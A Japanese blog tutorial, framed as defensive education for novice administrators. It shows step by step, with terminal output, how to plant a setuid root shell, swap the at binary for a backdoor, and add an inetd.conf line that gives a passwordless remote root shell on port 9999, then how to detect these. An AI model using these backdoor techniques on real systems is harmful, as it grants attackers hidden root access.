2022年8月、ホームページを全面リニューアルしました! 情報を分かりやすくお伝えできるサイト作りを目指してまいります。

コマンドを改ざんしてバックドアを仕掛ける!

予め、断っておく。ここでのネタは、鯖管理の初心者に被害がおよぶと見られるクラッキング手法を実験して恐さを知り、改めて防御する事を目的として紹介してるネタだ。決して悪用してはならない!
敵の攻撃を知り、己の防御を知る。これが、鯖管理の監視の鉄則だと思ってる。ここでは、通常俺たちが使っているUnixのコマンドを改ざんして、そのコマンドを実行したときにroot権限を乗っ取ってしまうバックドアを作り実際に実験した結果を掲載する。初心者の鯖管理者の参考になれば本望である。

実験環境)
OS : Slackware 11.0
カーネル : kernel 2.4.33


1.まずは簡単なrootshellを作り試してみる
setuid(0)の恐ろしさを知っているだろうか?ここのkozupon.comネタでもいくつも扱っている。
C言語で作られたプログラム中にsetuid(0)関数の記述を入れると、そのプログラムはroot権限で実行出来るのである。setuidというのは、対象ファイルの実行権限をチェンジすることでsetuid(0)とは、root権限のことを意味している。例えば、 setuidコマンドであるpasswdのコマンドを使うと、ユーザのログインシェルやパスワードなどの個人情報を変更できる。これらの情報は /etc/passwd に保存されるわけである。ここでよく考えてみよう。つまり passwd は /etc/passwd のファイルを更新するということだ。もちろんこれらのファイルは、一般ユーザが書き換えできないようにパーミッションが設定されている。

# ls -al /usr/bin/passwd
-rwsr-xr-x 1 root root 26616 May 18 2007 /usr/bin/passwd

これのパーミッションの並びの「s」というビット文字は「そのコマンドが所有者の権限で実行される」という意味である。
そんな訳でsetuid(0)の意味が解かったら、これからrootshell.cと言う簡単なC言語のソースを作ってコンパイルしてみる。

1)ソースを作る
root@cameleon:/# cd /tmp/

root@cameleon:/tmp# vi rootshell.c

ソースの内容はUNYUNさんのGPLソース、 ここ からダウンロードする(使用する前に再配布条件等を同ダウンロードサイトの gpl2-j.txt を参照すること)。

wrote rootshell.c, 25 lines, 868 chars

2)ソースをコンパイルする
root@cameleon:/tmp# gcc -o rootshell rootshell.c

root@cameleon:/tmp# ls -al
total 72
drwxrwxrwt 4 root root 4096 2007-05-24 00:27 ./
drwxr-xr-x 19 root root 4096 2007-05-23 22:25 ../
-rwxr-xr-x 1 root root 8235 2007-05-24 00:27 rootshell*
-rw-r–r– 1 root root 868 2007-05-24 00:12 rootshell.c

3)予めsビットを立てる
予め、sビットを立てて置けば、そのプログラムのオーナー権限で動くのでrootがオーナーになっている、このrootshellはroot権限で動くことになる。

root@cameleon:/tmp# chmod u+s rootshell

root@cameleon:/tmp# ls -al
total 72
drwxrwxrwt 4 root root 4096 2007-05-24 00:27 ./
drwxr-xr-x 19 root root 4096 2007-05-23 22:25 ../
-rwsr-xr-x 1 root root 8235 2007-05-24 00:27 rootshell*
-rw-r–r– 1 root root 868 2007-05-24 00:12 rootshell.c

4)rootshellを試してみる
一般ユーザでloginしてrootshellを実行する。

mity@cameleon:~$ cd /tmp

mity@cameleon:/tmp$ ./rootshell

sh-3.1# cd /

sh-3.1# ls -al
total 121
drwxr-xr-x 19 root root 4096 2007-05-23 22:25 .
drwxr-xr-x 19 root root 4096 2007-05-23 22:25 ..
drwxr-xr-x 2 root root 4096 2007-05-23 22:09 bin
drwxr-xr-x 3 root root 1024 2007-05-23 02:11 boot
drwxr-xr-x 17 root root 40960 2007-05-23 17:29 dev
drwxr-xr-x 43 root root 4096 2007-05-23 22:25 etc
drwxr-xr-x 4 root root 4096 2006-12-01 06:38 home
drwxr-xr-x 6 root root 4096 2007-05-23 22:09 lib
drwx—— 2 root root 16384 2007-05-23 01:57 lost+found
drwxr-xr-x 16 root root 4096 2007-05-23 02:00 media
drwxr-xr-x 10 root root 4096 2006-09-26 12:09 mnt
drwxr-xr-x 4 root root 4096 2002-05-20 12:32 opt
dr-xr-xr-x 37 root root 0 2007-05-23 17:29 proc
drwx–x— 3 root root 4096 2007-05-23 22:05 root
drwxr-xr-x 2 root root 8192 2007-05-23 22:09 sbin
drwxr-xr-x 2 root root 4096 2004-05-12 13:03 sys
drwxrwxrwt 4 root root 4096 2007-05-24 00:27 tmp
drwxr-xr-x 17 root root 4096 2004-02-11 05:27 usr
drwxr-xr-x 16 root root 4096 2003-09-16 05:11 var

sh-3.1# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 May23 ? 00:00:04 init [3]
root 2 1 0 May23 ? 00:00:00 [keventd]
root 3 1 0 May23 ? 00:00:00 [ksoftirqd_CPU0]
root 4 1 0 May23 ? 00:00:00 [kswapd]
root 5 1 0 May23 ? 00:00:00 [bdflush]
root 6 1 0 May23 ? 00:00:00 [kupdated]
root 10 1 0 May23 ? 00:00:00 [mdrecoveryd]
root 11 1 0 May23 ? 00:00:00 [kjournald]
root 47 1 0 May23 ? 00:00:00 [kjournald]
root 72 1 0 May23 ? 00:00:00 /usr/sbin/syslogd
root 75 1 0 May23 ? 00:00:00 /usr/sbin/klogd -c 3 -x
root 257 1 0 May23 ? 00:00:00 [khubd]
root 2007 1 0 May23 ? 00:00:00 /usr/sbin/inetd
root 2011 1 0 May23 ? 00:00:00 /usr/sbin/sshd
root 2023 1 0 May23 ? 00:00:00 /usr/sbin/crond -l10
daemon 2025 1 0 May23 ? 00:00:00 /usr/sbin/atd -b 15 -l 1
root 2040 1 0 May23 tty1 00:00:00 /sbin/agetty 38400 tty1 linux
root 2041 1 0 May23 tty2 00:00:00 /sbin/agetty 38400 tty2 linux
root 2042 1 0 May23 tty3 00:00:00 /sbin/agetty 38400 tty3 linux
root 2620 2011 0 May23 ? 00:00:00 sshd: mity [priv]
mity 2623 2620 0 May23 ? 00:00:00 sshd: mity@pts/0
mity 2624 2623 0 May23 pts/0 00:00:00 -sh
root 13750 2624 0 00:39 pts/0 00:00:00 ./rootshell
root 13751 13750 0 00:39 pts/0 00:00:00 /bin/sh
root 13753 13751 0 00:40 pts/0 00:00:00 ps -ef

sh-3.1# id
uid=0(root) gid=0(root) groups=100(users)

こんな感じでroot権限を奪うことが出来てしまう。ただし、rootshellなんて物騒な名前でファイルが置かれていると、いくら初心者の鯖管理者でも気が付かない訳が無い。また、以下のfindコマンドのオプション付きを実行すればすぐに見つけることが可能だ。

root@cameleon:~# find / -perm -u+s
/bin/su
/bin/mount
/bin/umount
/bin/ping
/bin/ping6
/tmp/rootshell
/usr/bin/lppasswd
/usr/bin/crontab
/usr/bin/fdmount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chage
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/sudo
/usr/bin/procmail
/usr/bin/rcp
/usr/bin/rsh
/usr/bin/traceroute6
/usr/bin/rlogin
/usr/bin/traceroute
/usr/bin/cu
/usr/bin/uux
/usr/bin/uucp
/usr/bin/uuname
/usr/bin/uustat
/usr/sbin/uuxqt
/usr/sbin/uucico
/usr/libexec/pt_chown
/usr/libexec/ssh-keysign
find: WARNING: Hard link count is wrong for /proc: this may be a bug in your filesystem driver. Automatically turning on find’s -noleaf option. Earlier results may have failed to include directories that should have been searched.
find: /proc/13792/fd/4: No such file or directory

ちなみに、ディストリビューション別setuidコマンドは以下である。

■ Debian 4.0r0 Etchの場合

note:~# find / -perm -u+s
find: /proc/32631/task/32631/fd/4: No such file or directory
find: /proc/32631/fd/4: No such file or directory
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/bin/traceroute.lbl
/usr/bin/passwd
/usr/bin/jfbterm
/usr/bin/mtr
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpg
/usr/bin/newgrp
/bin/su
/bin/mount
/bin/ping6
/bin/umount
/bin/ping
/sbin/unix_chkpwd

■ VineLinux4.0

[root@basterwolf root]# find / -perm -u+s
find: /proc/3070/task/3070/fd/4: そのようなファイルやディレクトリはありません
find: /proc/3070/fd/4: そのようなファイルやディレクトリはありません
/usr/libexec/openssh/ssh-keysign
/usr/lib/pppd/2.4.3/pppoatm.so
/usr/lib/pppd/2.4.3/rp-pppoe.so
/usr/X11R6/bin/Xorg
/usr/sbin/cpufreq-selector
/usr/sbin/userhelper
/usr/sbin/usernetctl
/usr/sbin/rscsi
/usr/bin/sudoedit
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sperl5.8.6
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/lppasswd
/usr/bin/chage
/usr/bin/at
/usr/bin/crontab
/sbin/pam_timestamp_check
/sbin/unix_chkpwd
/bin/ping6
/bin/mount
/bin/ping
/bin/umount
/bin/su

■ CentOS 5.0

[root@sub2 ~]# find / -perm -u+s
find: /proc/22047/task/22047/fd/4: No such file or directory
find: /proc/22047/fd/4: No such file or directory
/usr/libexec/openssh/ssh-keysign
/usr/sbin/suexec
/usr/sbin/usernetctl
/usr/sbin/ccreds_validate
/usr/sbin/userhelper
/usr/sbin/userisdnctl
/usr/kerberos/bin/ksu
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/rcp
/usr/bin/chage
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/at
/usr/bin/rsh
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/rlogin
/usr/bin/sudoedit
find: /var/named/chroot/proc/22047/task/22047/fd/4: No such file or directory
find: /var/named/chroot/proc/22047/fd/4: No such file or directory
/sbin/mount.nfs4
/sbin/umount.nfs
/sbin/umount.nfs4
/sbin/unix_chkpwd
/sbin/pam_timestamp_check
/sbin/mount.nfs
/bin/ping6
/bin/su
/bin/umount
/bin/ping
/bin/mount

■ Slackware10.2

root@hiro:~# find / -perm -u+s
/bin/su
/bin/mount
/bin/umount
/bin/ping
/bin/ping6
/usr/bin/lppasswd
/usr/bin/crontab
/usr/bin/fdmount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chage
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/rcp
/usr/bin/rsh
/usr/bin/traceroute6
/usr/bin/rlogin
/usr/bin/traceroute
/usr/bin/procmail
/usr/local/bin/su
/usr/local/sbin/popauth
/usr/libexec/pt_chown
/usr/libexec/ssh-keysign
find: /proc/29471/task/29471/fd/4: No such file or directory
find: /proc/29471/fd/4: No such file or directory

したがって、次はこのrootshellを或るsetuidコマンドに埋め込んで隠蔽する。


2.atコマンドを改ざんして埋め込む
sビット付きのatコマンドを改ざんしてrootshellを埋め込む。
atコマンドは指定時刻に一度だけ標準入力から入力したコマンドや指定したファイルに記述されたコマンドを実行するためのもの。

root@cameleon:~# find / -perm -u+s
/bin/su
/bin/mount
/bin/umount
/bin/ping
/bin/ping6
/tmp/rootshell
/usr/bin/lppasswd
/usr/bin/crontab
/usr/bin/fdmount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chage
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/at
省略

1)埋め込むプログラムを作成する
root@cameleon:~# cd /tmp

root@cameleon:/tmp# vi hrs2.c

ソースの内容はUNYUNさんのGPLソース、 ここ からダウンロードする(使用する前に再配布条件等を同ダウンロードサイトの gpl2-j.txt を参照すること)。

wrote hrs2.c, 38 lines, 1215 chars

root@cameleon:/tmp# cd ~/

root@cameleon:~# cp /usr/bin/at /.desktop-user

root@cameleon:~# chmod u-s /.desktop-user

2)プログラムをコンパイルする
root@cameleon:~# gcc -o /usr/bin/at /tmp/hrs2.c
hrs2.c: In function `main’:
hrs2.c:31: error: `NULL’ undeclared (first use in this function)
hrs2.c:31: error: (Each undeclared identifier is reported only once
hrs2.c:31: error: for each function it appears in.)

このようなエラーがでたら、hrs2.cのソースの

省略
execl(“/bin/sh”,”sh”,NULL);
省略

 ↓

execl(“/bin/sh”);
このように直して保存。もう再度コンパイル。

root@cameleon:~# gcc -o /usr/bin/at /tmp/hrs2.c

root@cameleon:~# chmod 4755 /usr/bin/at

root@cameleon:~# ls -al /usr/bin/at
-rwsr-xr-x 1 root root 8743 2007-05-24 01:22 /usr/bin/at*

3)実際に試してみる
一般ユーザからatコマンドを実行する

mity@cameleon:~$ at –help
at: invalid option — –
Usage: at [-V] [-q x] [-f file] [-mldbv] time
at -c job …
atq [-V] [-q x]
atrm [-V] job …
batch

オプション付きでrootshellを実行する

mity@cameleon:~$ at hoge

root@cameleon:/# ls -al
total 157
drwxr-xr-x 19 root root 4096 2007-05-24 01:21 .
drwxr-xr-x 19 root root 4096 2007-05-24 01:21 ..
-rwxr-xr-x 1 root root 36484 2007-05-24 01:21 .desktop-user
drwxr-xr-x 2 root root 4096 2007-05-23 22:09 bin
drwxr-xr-x 3 root root 1024 2007-05-23 02:11 boot
drwxr-xr-x 17 root root 40960 2007-05-23 17:29 dev
drwxr-xr-x 43 root root 4096 2007-05-23 22:25 etc
drwxr-xr-x 4 root root 4096 2006-12-01 06:38 home
drwxr-xr-x 6 root root 4096 2007-05-23 22:09 lib
drwx—— 2 root root 16384 2007-05-23 01:57 lost+found
drwxr-xr-x 16 root root 4096 2007-05-23 02:00 media
drwxr-xr-x 10 root root 4096 2006-09-26 12:09 mnt
drwxr-xr-x 4 root root 4096 2002-05-20 12:32 opt
dr-xr-xr-x 37 root root 0 2007-05-23 17:29 proc
drwx–x— 3 root root 4096 2007-05-23 22:05 root
drwxr-xr-x 2 root root 8192 2007-05-23 22:09 sbin
drwxr-xr-x 2 root root 4096 2004-05-12 13:03 sys
drwxrwxrwt 4 root root 4096 2007-05-24 01:22 tmp
drwxr-xr-x 17 root root 4096 2004-02-11 05:27 usr
drwxr-xr-x 16 root root 4096 2003-09-16 05:11 var

root@cameleon:/# id
uid=0(root) gid=0(root) groups=100(users)

うーん、見事root権限になれた。恐ろしい!


3.inetdバックドア(Port9999バックドア)
これは、 プログラムでは無いが鯖の管理が初心者で有る場合には、驚異となりうるバックドアだ。バックドア自体もプログラムが必要なく、inetd.confへの設定のみでリモートバックドアとして動いてしまう。

1)まずは、ターゲット鯖へバックドアを仕掛ける
root@cameleon:~# vi /etc/inetd.conf
reading /etc/inetd.conf
9999 stream tcp nowait root /bin/sh sh -i       ←この一行を書く

2)inetdを再起動する
root@cameleon:~# ps -ef

UID PID PPID C STIME TTY TIME CMD
root 1 0 0 May30 ? 00:00:00 init [3]
root 2 1 0 May30 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 May30 ? 00:00:00 [events/0]
root 4 1 0 May30 ? 00:00:00 [khelper]
root 5 1 0 May30 ? 00:00:00 [kthread]
root 30 5 0 May30 ? 00:00:00 [kblockd/0]
root 31 5 0 May30 ? 00:00:00 [kseriod]
root 59 5 0 May30 ? 00:00:00 [pdflush]
root 60 5 0 May30 ? 00:00:00 [pdflush]
root 61 5 0 May30 ? 00:00:00 [kswapd0]
root 62 5 0 May30 ? 00:00:00 [aio/0]
root 714 5 0 May30 ? 00:00:00 [kpsmoused]
root 719 5 0 May30 ? 00:00:00 [kjournald]
root 882 1 0 May30 ? 00:00:00 /sbin/udevd –daemon
root 1829 5 0 May30 ? 00:00:00 [kjournald]
root 1878 1 0 May30 ? 00:00:00 /usr/sbin/syslogd
root 1881 1 0 May30 ? 00:00:00 /usr/sbin/klogd -c 3 -x
root 2022 1 0 May30 ? 00:00:00 /usr/sbin/inetd
root 2028 1 0 May30 ? 00:00:00 /usr/sbin/sshd
root 2057 1 0 May30 ? 00:00:00 /usr/sbin/crond -l10
daemon 2059 1 0 May30 ? 00:00:00 /usr/sbin/atd -b 15 -l 1
smmsp 2063 1 0 May30 ? 00:00:00 sendmail: Queue runner@00:25:00
root 2074 1 0 May30 tty1 00:00:00 /sbin/agetty 38400 tty1 linux
root 2075 1 0 May30 tty2 00:00:00 /sbin/agetty 38400 tty2 linux
root 2076 1 0 May30 tty3 00:00:00 /sbin/agetty 38400 tty3 linux
root 12066 2028 0 18:48 ? 00:00:00 sshd: mity [priv]
mity 12068 12066 0 18:49 ? 00:00:00 sshd: mity@pts/0
mity 12069 12068 0 18:49 pts/0 00:00:00 -sh
root 12079 12069 0 18:49 pts/0 00:00:00 -su
root 12102 12079 0 18:51 pts/0 00:00:00 ps -ef

root@cameleon:~# killall inetd

root@cameleon:~# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 May30 ? 00:00:00 init [3]
root 2 1 0 May30 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 May30 ? 00:00:00 [events/0]
root 4 1 0 May30 ? 00:00:00 [khelper]
root 5 1 0 May30 ? 00:00:00 [kthread]
root 30 5 0 May30 ? 00:00:00 [kblockd/0]
root 31 5 0 May30 ? 00:00:00 [kseriod]
root 59 5 0 May30 ? 00:00:00 [pdflush]
root 60 5 0 May30 ? 00:00:00 [pdflush]
root 61 5 0 May30 ? 00:00:00 [kswapd0]
root 62 5 0 May30 ? 00:00:00 [aio/0]
root 714 5 0 May30 ? 00:00:00 [kpsmoused]
root 719 5 0 May30 ? 00:00:00 [kjournald]
root 882 1 0 May30 ? 00:00:00 /sbin/udevd –daemon
root 1829 5 0 May30 ? 00:00:00 [kjournald]
root 1878 1 0 May30 ? 00:00:00 /usr/sbin/syslogd
root 1881 1 0 May30 ? 00:00:00 /usr/sbin/klogd -c 3 -x
root 2028 1 0 May30 ? 00:00:00 /usr/sbin/sshd
root 2057 1 0 May30 ? 00:00:00 /usr/sbin/crond -l10
daemon 2059 1 0 May30 ? 00:00:00 /usr/sbin/atd -b 15 -l 1
smmsp 2063 1 0 May30 ? 00:00:00 sendmail: Queue runner@00:25:00
root 2074 1 0 May30 tty1 00:00:00 /sbin/agetty 38400 tty1 linux
root 2075 1 0 May30 tty2 00:00:00 /sbin/agetty 38400 tty2 linux
root 2076 1 0 May30 tty3 00:00:00 /sbin/agetty 38400 tty3 linux
root 12066 2028 0 18:49 ? 00:00:00 sshd: mity [priv]
mity 12068 12066 0 18:49 ? 00:00:00 sshd: mity@pts/0
mity 12069 12068 0 18:49 pts/0 00:00:00 -sh
root 12079 12069 0 18:49 pts/0 00:00:00 -su
root 12104 12079 0 18:52 pts/0 00:00:00 ps -ef

root@cameleon:~# /usr/sbin/inetd

root@cameleon:~# exit

3)別のホストからリモートでloginしてみる
mity@tommy:~$ telnet 192.168.3.4 9999
Trying 192.168.3.4…
Connected to 192.168.3.4.
Escape character is ‘^]’.

root@cameleon:/# ls -al
total 113
drwxr-xr-x 19 root root 4096 2007-05-28 23:40 .
drwxr-xr-x 19 root root 4096 2007-05-28 23:40 ..
-rwxr-xr-x 1 root root 36484 2007-05-24 01:21 .desktop-user
drwxr-xr-x 2 root root 4096 2007-05-23 22:09 bin
drwxr-xr-x 3 root root 1024 2007-05-28 22:08 boot
drwxr-xr-x 15 root root 13880 2007-05-30 17:40 dev
drwxr-xr-x 45 root root 4096 2007-05-30 17:40 etc
drwxr-xr-x 4 root root 4096 2006-12-01 06:38 home
drwxr-xr-x 6 root root 4096 2007-05-23 22:09 lib
drwx—— 2 root root 16384 2007-05-23 01:57 lost+found
drwxr-xr-x 16 root root 4096 2007-05-23 02:00 media
drwxr-xr-x 10 root root 4096 2006-09-26 12:09 mnt
drwxr-xr-x 4 root root 4096 2006-08-30 12:48 opt
dr-xr-xr-x 43 root root 0 2007-05-30 17:39 proc
drwx–x— 3 root root 4096 2007-05-23 22:05 root
drwxr-xr-x 2 root root 8192 2007-05-23 22:09 sbin
drwxr-xr-x 11 root root 0 2007-05-30 17:39 sys
drwxrwxrwt 4 root root 4096 2007-06-01 00:53 tmp
drwxr-xr-x 17 root root 4096 2006-09-18 10:12 usr
drwxr-xr-x 16 root root 4096 2006-08-27 08:12 var

root@cameleon:/# id
uid=0(root) gid=0(root) groups=0(root)

パスワード無しでrootでlogin出来てしまった。
その後、 一度抜ける。
root@cameleon:/# exit
exit
Connection closed by foreign host.

4)仕掛けられたバックドアの発見方法
これが、初心者で無ければnetstatコマンドにより「LISTEN」ポートを確認すれば一目で解るバックドアだ。以下のように、9999ポーロがLISTENである。
root@cameleon:~# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::ffff:192.168.3.4:22 ::ffff:192.168.3.5:1172 ESTABLISHED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ] DGRAM 1718 @/org/kernel/udev/udevd
unix 4 [ ] DGRAM 6321 /dev/log
unix 3 [ ] STREAM CONNECTED 13945
unix 3 [ ] STREAM CONNECTED 13944
unix 2 [ ] DGRAM 6556
unix 2 [ ] DGRAM 6324

あるいは、lsofコマンドで、
root@cameleon:~# lsof -i | grep LISTEN
sshd 2028 root 3u IPv6 6501 TCP *:ssh (LISTEN)
inetd 12141 root 4u IPv4 13591 TCP *:9999 (LISTEN)

このように、調べれば解る。LISTENポートの見つけ方の詳細は、 ここ を見ると良い。
うーん、しかし見事root権限になれた。恐ろしい!


4.色々試してみて
ここのプログラムはFreeでGPLのプログラムだが、見事にバックドアとして動作する。このように、setuid(0)について知らない方は改めて、この恐ろしさを体感していただきたい。

以上

コメント